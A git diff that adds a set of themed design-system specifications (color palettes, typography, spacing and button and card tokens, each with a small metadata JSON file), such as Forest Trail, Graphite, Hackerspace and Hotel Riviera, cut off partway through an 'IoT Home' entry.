0000000000000000000000000000000000000000..566b33d7f4f644e80149cc00e5ca40e0428c097d --- /dev/null +++ b/imported-skills/designdotmd/designs/forest-trail.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Forest Trail +description: Trail-map forest: moss green, bark brown, trail red. +colors: + primary: "#17251A" + secondary: "#6D7D65" + tertiary: "#B03D2E" + neutral: "#EEE7D6" + surface: "#F7F1E1" + on-primary: "#F7F1E1" +typography: + display: + fontFamily: Work Sans + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: Work Sans + fontSize: 1.95rem + fontWeight: 700 + body: + fontFamily: Work Sans + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Work Sans + fontSize: 0.74rem + fontWeight: 700 + letterSpacing: "0.1em" +rounded: + sm: 4px + md: 8px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A trail-map palette: mossy greens and bark browns, marker-red for paths. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#17251A`):** Headlines and core text. +- **Secondary (`#6D7D65`):** Borders, captions, and metadata. +- **Tertiary (`#B03D2E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#EEE7D6`):** The page foundation. + +## Typography + +- **display:** Work Sans 3.5rem +- **h1:** Work Sans 1.95rem +- **body:** Work Sans 1rem +- **label:** Work Sans 0.74rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/forest-trail.meta.json b/imported-skills/designdotmd/designs/forest-trail.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3c61976b0affd4187ecc2bcd53bb3cc3566b22e8 --- /dev/null +++ b/imported-skills/designdotmd/designs/forest-trail.meta.json @@ -0,0 +1,4 @@ +{ + "id": "forest-trail", + "name": "Forest Trail" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/forum-usenet.md b/imported-skills/designdotmd/designs/forum-usenet.md new file mode 100644 index 0000000000000000000000000000000000000000..9fcfe86e1ed26e0cfa472c690a687f2a020e9c62 --- /dev/null +++ b/imported-skills/designdotmd/designs/forum-usenet.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Forum Usenet +description: BBS nostalgia: teletype ink, PhpBB gridlines. +colors: + primary: "#131313" + secondary: "#5E5E5E" + tertiary: "#1A6DAF" + neutral: "#E9E6DD" + surface: "#F4F1E8" + on-primary: "#F4F1E8" +typography: + display: + fontFamily: VT323 + fontSize: 3.25rem + fontWeight: 400 + h1: + fontFamily: IBM Plex Mono + fontSize: 1.6rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.92rem + lineHeight: 1.5 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.06em" +rounded: + sm: 0px + md: 0px + lg: 2px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A classic-forum aesthetic: mono body, gridlined tables, one single accent for threads. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#131313`):** Headlines and core text. +- **Secondary (`#5E5E5E`):** Borders, captions, and metadata. +- **Tertiary (`#1A6DAF`):** The sole driver for interaction. Reserve it. +- **Neutral (`#E9E6DD`):** The page foundation. + +## Typography + +- **display:** VT323 3.25rem +- **h1:** IBM Plex Mono 1.6rem +- **body:** IBM Plex Mono 0.92rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/forum-usenet.meta.json b/imported-skills/designdotmd/designs/forum-usenet.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..5ebeb547e2e6d264a7bb175527b9d44c171dcb2e --- /dev/null +++ b/imported-skills/designdotmd/designs/forum-usenet.meta.json @@ -0,0 +1,4 @@ +{ + "id": "forum-usenet", + "name": "Forum Usenet" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/gallery-avant.md b/imported-skills/designdotmd/designs/gallery-avant.md new file mode 100644 index 0000000000000000000000000000000000000000..1c4a3228d06395656c09a87763a865b185c8a5fc --- /dev/null +++ b/imported-skills/designdotmd/designs/gallery-avant.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Gallery Avant +description: Contemporary-art gallery: white cube, tight caps. +colors: + primary: "#0A0A0A" + secondary: "#7A7A7A" + tertiary: "#3A3A3A" + neutral: "#F8F8F7" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Italiana + fontSize: 6rem + fontWeight: 400 + letterSpacing: "0.02em" + h1: + fontFamily: Italiana + fontSize: 2.8rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 0.92rem + lineHeight: 1.7 + label: + fontFamily: Inter + fontSize: 0.68rem + fontWeight: 500 + letterSpacing: "0.28em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A contemporary-art gallery system: white-cube surface, all-caps sans micro labels. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0A0A0A`):** Headlines and core text. +- **Secondary (`#7A7A7A`):** Borders, captions, and metadata. +- **Tertiary (`#3A3A3A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F8F8F7`):** The page foundation. + +## Typography + +- **display:** Italiana 6rem +- **h1:** Italiana 2.8rem +- **body:** Inter 0.92rem +- **label:** Inter 0.68rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/gallery-avant.meta.json b/imported-skills/designdotmd/designs/gallery-avant.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..6573c0e6360d48840578bac47aa63026614a7433 --- /dev/null +++ b/imported-skills/designdotmd/designs/gallery-avant.meta.json @@ -0,0 +1,4 @@ +{ + "id": "gallery-avant", + "name": "Gallery Avant" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/gallery-white.md b/imported-skills/designdotmd/designs/gallery-white.md new file mode 100644 index 0000000000000000000000000000000000000000..4a4d7ea23b4e1a25568abb8fabe948a15c18e3f9 --- /dev/null +++ b/imported-skills/designdotmd/designs/gallery-white.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Gallery White +description: Contemporary gallery: nothing on the walls but art. +colors: + primary: "#1C1C1B" + secondary: "#8F8F8D" + tertiary: "#595957" + neutral: "#F9F9F7" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 5.5rem + fontWeight: 300 + letterSpacing: "-0.02em" + h1: + fontFamily: Cormorant Garamond + fontSize: 3rem + fontWeight: 300 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.7rem + letterSpacing: "0.14em" +rounded: + sm: 0px + md: 0px + lg: 0px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +Maximum whitespace. Near-white surface, thin rules, a single charcoal for typography. Built for portfolios. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1C1C1B`):** Headlines and core text. +- **Secondary (`#8F8F8D`):** Borders, captions, and metadata. +- **Tertiary (`#595957`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F9F9F7`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 5.5rem +- **h1:** Cormorant Garamond 3rem +- **body:** Inter 0.95rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/gallery-white.meta.json b/imported-skills/designdotmd/designs/gallery-white.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..30119a8379f221aedc322b401679dfb79d054ab8 --- /dev/null +++ b/imported-skills/designdotmd/designs/gallery-white.meta.json @@ -0,0 +1,4 @@ +{ + "id": "gallery-white", + "name": "Gallery White" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/glassline.md b/imported-skills/designdotmd/designs/glassline.md new file mode 100644 index 0000000000000000000000000000000000000000..34908c5aff04f25c8123370b1a0c80d910bc490a --- /dev/null +++ b/imported-skills/designdotmd/designs/glassline.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Glassline +description: Fog-grey neutrals with a cobalt pinprick. +colors: + primary: "#0F1419" + secondary: "#4A5568" + tertiary: "#2C5EF5" + neutral: "#F1F3F5" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Geist + fontSize: 3.75rem + fontWeight: 600 + letterSpacing: "-0.03em" + h1: + fontFamily: Geist + fontSize: 2.25rem + fontWeight: 600 + letterSpacing: "-0.02em" + body: + fontFamily: Geist + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: Geist Mono + fontSize: 0.75rem + letterSpacing: "0" +rounded: + sm: 6px + md: 10px + lg: 16px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A cool, quiet palette built around 8-step neutrals. A single cobalt for action keeps the interface calm but directable. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#0F1419`):** Headlines and core text. +- **Secondary (`#4A5568`):** Borders, captions, and metadata. +- **Tertiary (`#2C5EF5`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F1F3F5`):** The page foundation. + +## Typography + +- **display:** Geist 3.75rem +- **h1:** Geist 2.25rem +- **body:** Geist 0.95rem +- **label:** Geist Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/glassline.meta.json b/imported-skills/designdotmd/designs/glassline.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..9311a235f86691dabc849e58d4555d2c7f8f1be6 --- /dev/null +++ b/imported-skills/designdotmd/designs/glassline.meta.json @@ -0,0 +1,4 @@ +{ + "id": "glassline", + "name": "Glassline" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/graphite.md b/imported-skills/designdotmd/designs/graphite.md new file mode 100644 index 0000000000000000000000000000000000000000..ca9b0a6938cef4a85b237e9eaad7ec66f3d658b1 --- /dev/null +++ b/imported-skills/designdotmd/designs/graphite.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Graphite +description: Cool greys, one lime signal. +colors: + primary: "#ECEDEE" + secondary: "#9CA3AF" + tertiary: "#B4FF39" + neutral: "#0E1013" + surface: "#17191C" + on-primary: "#0E1013" +typography: + display: + fontFamily: Inter Tight + fontSize: 4rem + fontWeight: 600 + letterSpacing: "-0.03em" + h1: + fontFamily: Inter Tight + fontSize: 2.25rem + fontWeight: 600 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.55 + label: + fontFamily: JetBrains Mono + fontSize: 0.75rem + letterSpacing: "0.02em" +rounded: + sm: 6px + md: 10px + lg: 14px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +An engineering-grade dark palette. Carefully tuned greys across 10 stops, with a single lime-green for focus and CTAs. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#ECEDEE`):** Headlines and core text. +- **Secondary (`#9CA3AF`):** Borders, captions, and metadata. +- **Tertiary (`#B4FF39`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0E1013`):** The page foundation. + +## Typography + +- **display:** Inter Tight 4rem +- **h1:** Inter Tight 2.25rem +- **body:** Inter 0.95rem +- **label:** JetBrains Mono 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/graphite.meta.json b/imported-skills/designdotmd/designs/graphite.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..aad185fa165e7a2880c139222ac75d7edf972bee --- /dev/null +++ b/imported-skills/designdotmd/designs/graphite.meta.json @@ -0,0 +1,4 @@ +{ + "id": "graphite", + "name": "Graphite" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/gym-kettlebell.md b/imported-skills/designdotmd/designs/gym-kettlebell.md new file mode 100644 index 0000000000000000000000000000000000000000..7501d15b8237085b155e1b0a351708ff4e36761e --- /dev/null +++ b/imported-skills/designdotmd/designs/gym-kettlebell.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Gym Kettlebell +description: Barbell black: chalk white, rep red, rubber mat. +colors: + primary: "#F5F5F3" + secondary: "#898685" + tertiary: "#E63946" + neutral: "#0A0A0A" + surface: "#141414" + on-primary: "#0A0A0A" +typography: + display: + fontFamily: Archivo Black + fontSize: 4.5rem + fontWeight: 900 + letterSpacing: "-0.03em" + h1: + fontFamily: Archivo Black + fontSize: 2.4rem + fontWeight: 900 + body: + fontFamily: Archivo + fontSize: 0.95rem + lineHeight: 1.5 + label: + fontFamily: Archivo Black + fontSize: 0.72rem + letterSpacing: "0.14em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A gym-app palette: chalk white, barbell black, rep-red counter accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#F5F5F3`):** Headlines and core text. +- **Secondary (`#898685`):** Borders, captions, and metadata. +- **Tertiary (`#E63946`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0A0A0A`):** The page foundation. + +## Typography + +- **display:** Archivo Black 4.5rem +- **h1:** Archivo Black 2.4rem +- **body:** Archivo 0.95rem +- **label:** Archivo Black 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/gym-kettlebell.meta.json b/imported-skills/designdotmd/designs/gym-kettlebell.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..3597f32657089031fec6f129d97137f556080ac8 --- /dev/null +++ b/imported-skills/designdotmd/designs/gym-kettlebell.meta.json @@ -0,0 +1,4 @@ +{ + "id": "gym-kettlebell", + "name": "Gym Kettlebell" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/hackerspace.md b/imported-skills/designdotmd/designs/hackerspace.md new file mode 100644 index 0000000000000000000000000000000000000000..452f7a3ad96d97453223b6df39553b28bb452782 --- /dev/null +++ b/imported-skills/designdotmd/designs/hackerspace.md @@ -0,0 +1,74 @@ +--- +version: alpha +name: Hackerspace +description: Solder room: PCB green, header amber, silkscreen white. +colors: + primary: "#E9F0DB" + secondary: "#87987D" + tertiary: "#F2B53A" + neutral: "#0B1810" + surface: "#12241A" + on-primary: "#0B1810" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3.5rem + fontWeight: 700 + h1: + fontFamily: IBM Plex Mono + fontSize: 1.85rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.9rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.08em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A hackerspace-aesthetic palette: PCB green, solder-amber accent, silkscreen-white details. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E9F0DB`):** Headlines and core text. +- **Secondary (`#87987D`):** Borders, captions, and metadata. +- **Tertiary (`#F2B53A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0B1810`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3.5rem +- **h1:** IBM Plex Mono 1.85rem +- **body:** IBM Plex Mono 0.9rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/hackerspace.meta.json b/imported-skills/designdotmd/designs/hackerspace.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..f9928977416995a905ac272ef488a97faa038918 --- /dev/null +++ b/imported-skills/designdotmd/designs/hackerspace.meta.json @@ -0,0 +1,4 @@ +{ + "id": "hackerspace", + "name": "Hackerspace" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/heritage.md b/imported-skills/designdotmd/designs/heritage.md new file mode 100644 index 0000000000000000000000000000000000000000..c053b6fed0784a13ddb76b2a4430205b51cbf596 --- /dev/null +++ b/imported-skills/designdotmd/designs/heritage.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Heritage +description: Architectural minimalism meets journalistic gravitas. +colors: + primary: "#1A1C1E" + secondary: "#6C7278" + tertiary: "#B8422E" + neutral: "#F7F5F2" + surface: "#FFFFFF" + on-primary: "#FFFFFF" +typography: + display: + fontFamily: Fraunces + fontSize: 4rem + fontWeight: 500 + letterSpacing: "-0.02em" + h1: + fontFamily: Fraunces + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Public Sans + fontSize: 1rem + lineHeight: 1.6 + label: + fontFamily: Space Grotesk + fontSize: 0.75rem + letterSpacing: "0.08em" +rounded: + sm: 2px + md: 4px + lg: 8px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A warm, high-contrast palette rooted in broadsheet newspapers and matte galleries. Deep ink on warm limestone, one single accent for action. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#1A1C1E`):** Headlines and core text. +- **Secondary (`#6C7278`):** Borders, captions, and metadata. +- **Tertiary (`#B8422E`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F7F5F2`):** The page foundation. + +## Typography + +- **display:** Fraunces 4rem +- **h1:** Fraunces 2.5rem +- **body:** Public Sans 1rem +- **label:** Space Grotesk 0.75rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/heritage.meta.json b/imported-skills/designdotmd/designs/heritage.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..728f6be854b7b01b12834223b8fb55286394a0a8 --- /dev/null +++ b/imported-skills/designdotmd/designs/heritage.meta.json @@ -0,0 +1,4 @@ +{ + "id": "heritage", + "name": "Heritage" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/horology-chronograph.md b/imported-skills/designdotmd/designs/horology-chronograph.md new file mode 100644 index 0000000000000000000000000000000000000000..a59bdc399bccbc5fc9f1fb286c55dbc2292798f0 --- /dev/null +++ b/imported-skills/designdotmd/designs/horology-chronograph.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: Horology Chronograph +description: Swiss watchmaking: dial black, subdial silver, second red. +colors: + primary: "#E8E6DF" + secondary: "#8C8A82" + tertiary: "#C42A2A" + neutral: "#0C0D10" + surface: "#151619" + on-primary: "#E8E6DF" +typography: + display: + fontFamily: Cormorant Garamond + fontSize: 4.5rem + fontWeight: 400 + letterSpacing: "-0.015em" + h1: + fontFamily: Cormorant Garamond + fontSize: 2.4rem + fontWeight: 400 + body: + fontFamily: Inter + fontSize: 0.95rem + lineHeight: 1.65 + label: + fontFamily: Inter + fontSize: 0.7rem + fontWeight: 500 + letterSpacing: "0.28em" +rounded: + sm: 2px + md: 3px + lg: 5px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A watchmaker's palette: dial-black surface, subdial silver, single red second-hand accent. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8E6DF`):** Headlines and core text. +- **Secondary (`#8C8A82`):** Borders, captions, and metadata. +- **Tertiary (`#C42A2A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0C0D10`):** The page foundation. + +## Typography + +- **display:** Cormorant Garamond 4.5rem +- **h1:** Cormorant Garamond 2.4rem +- **body:** Inter 0.95rem +- **label:** Inter 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/horology-chronograph.meta.json b/imported-skills/designdotmd/designs/horology-chronograph.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..71041a45f1a39899be49cdfde1ce8a6f8a2c6d94 --- /dev/null +++ b/imported-skills/designdotmd/designs/horology-chronograph.meta.json @@ -0,0 +1,4 @@ +{ + "id": "horology-chronograph", + "name": "Horology Chronograph" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/hotel-riviera.md b/imported-skills/designdotmd/designs/hotel-riviera.md new file mode 100644 index 0000000000000000000000000000000000000000..d9b48de6aa4b8f0213412d041a021a77165e1bbf --- /dev/null +++ b/imported-skills/designdotmd/designs/hotel-riviera.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Hotel Riviera +description: Côte d'Azur: sea-wash blue, sun-bleached sand, soft gold. +colors: + primary: "#162C3A" + secondary: "#7B8B97" + tertiary: "#C9A16A" + neutral: "#F2ECE0" + surface: "#FBF7EC" + on-primary: "#FBF7EC" +typography: + display: + fontFamily: Playfair Display + fontSize: 5rem + fontWeight: 500 + h1: + fontFamily: Playfair Display + fontSize: 2.5rem + fontWeight: 500 + body: + fontFamily: Jost + fontSize: 1rem + lineHeight: 1.65 + label: + fontFamily: Jost + fontSize: 0.72rem + fontWeight: 500 + letterSpacing: "0.18em" +rounded: + sm: 2px + md: 4px + lg: 6px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A boutique-hotel system inspired by the Riviera. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#162C3A`):** Headlines and core text. +- **Secondary (`#7B8B97`):** Borders, captions, and metadata. +- **Tertiary (`#C9A16A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#F2ECE0`):** The page foundation. + +## Typography + +- **display:** Playfair Display 5rem +- **h1:** Playfair Display 2.5rem +- **body:** Jost 1rem +- **label:** Jost 0.72rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/hotel-riviera.meta.json b/imported-skills/designdotmd/designs/hotel-riviera.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..68d1171c8239dfa5c64ff6e9f573e0661c4d06d8 --- /dev/null +++ b/imported-skills/designdotmd/designs/hotel-riviera.meta.json @@ -0,0 +1,4 @@ +{ + "id": "hotel-riviera", + "name": "Hotel Riviera" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/indie-festival.md b/imported-skills/designdotmd/designs/indie-festival.md new file mode 100644 index 0000000000000000000000000000000000000000..493f57e717b2a2a4a398baaa69c7e6ec9c6d7d88 --- /dev/null +++ b/imported-skills/designdotmd/designs/indie-festival.md @@ -0,0 +1,75 @@ +--- +version: alpha +name: Indie Festival +description: Film-festival grid: mono schedule, spotlight orange. +colors: + primary: "#E8E4DB" + secondary: "#857F72" + tertiary: "#FF6B1A" + neutral: "#0E0D0A" + surface: "#161410" + on-primary: "#0E0D0A" +typography: + display: + fontFamily: IBM Plex Mono + fontSize: 3.5rem + fontWeight: 700 + letterSpacing: "-0.02em" + h1: + fontFamily: IBM Plex Mono + fontSize: 1.85rem + fontWeight: 600 + body: + fontFamily: IBM Plex Mono + fontSize: 0.92rem + lineHeight: 1.55 + label: + fontFamily: IBM Plex Mono + fontSize: 0.7rem + letterSpacing: "0.12em" +rounded: + sm: 0px + md: 2px + lg: 4px +spacing: + sm: 8px + md: 16px + lg: 32px +components: + button-primary: + backgroundColor: "{colors.tertiary}" + textColor: "{colors.on-primary}" + rounded: "{rounded.md}" + padding: 12px 20px + card: + backgroundColor: "{colors.surface}" + textColor: "{colors.primary}" + rounded: "{rounded.lg}" + padding: 24px +--- +## Overview + +A film-festival microsite system: mono everywhere, single spotlight-orange for the current screening. + +## Colors + +The palette is built around high-contrast neutrals and a single accent that drives interaction. + +- **Primary (`#E8E4DB`):** Headlines and core text. +- **Secondary (`#857F72`):** Borders, captions, and metadata. +- **Tertiary (`#FF6B1A`):** The sole driver for interaction. Reserve it. +- **Neutral (`#0E0D0A`):** The page foundation. + +## Typography + +- **display:** IBM Plex Mono 3.5rem +- **h1:** IBM Plex Mono 1.85rem +- **body:** IBM Plex Mono 0.92rem +- **label:** IBM Plex Mono 0.7rem + +## Do's and Don'ts + +- **Do** use Tertiary for exactly one action per screen. +- **Do** let Neutral carry the composition — negative space is a feature. +- **Don't** introduce gradients. This system is flat on purpose. +- **Don't** mix Tertiary with alternate accents; the single-accent rule is load-bearing. diff --git a/imported-skills/designdotmd/designs/indie-festival.meta.json b/imported-skills/designdotmd/designs/indie-festival.meta.json new file mode 100644 index 0000000000000000000000000000000000000000..7124b404fa5588e4c3f177954c50160c1c3b7be2 --- /dev/null +++ b/imported-skills/designdotmd/designs/indie-festival.meta.json @@ -0,0 +1,4 @@ +{ + "id": "indie-festival", + "name": "Indie Festival" +} \ No newline at end of file diff --git a/imported-skills/designdotmd/designs/iot-home.md b/imported-skills/designdotmd/designs/iot-home.md new file mode 100644 index 0000000000000000000000000000000000000000..b6feaad66ca0955739a26d540097909c7ae912e5 --- /dev/null +++ b/imported-skills/designdotmd/designs/iot-home.md @@ -0,0 +1,76 @@ +--- +version: alpha +name: IoT Home +description: Smart-home dashboard: warm dark, peach glow, cool teal. +colors: + primary: "#F0EFE9" + secondary: "#8A857A" + tertiary: "#FFB98C" + neutral: "#17181B" + surface: "#1F2024" + on-primary: "#17181B" +typography: + display: + fontFamily: Manrope + fontSize: 3.75rem + fontWeight: 600 + letterSpacing: "-0.025em" + h1: + fontFamily: Manrope + fontSize: 2rem + fontWeight: 600 + body: + fontFamily: Manrope + fontSize: 0.95rem + 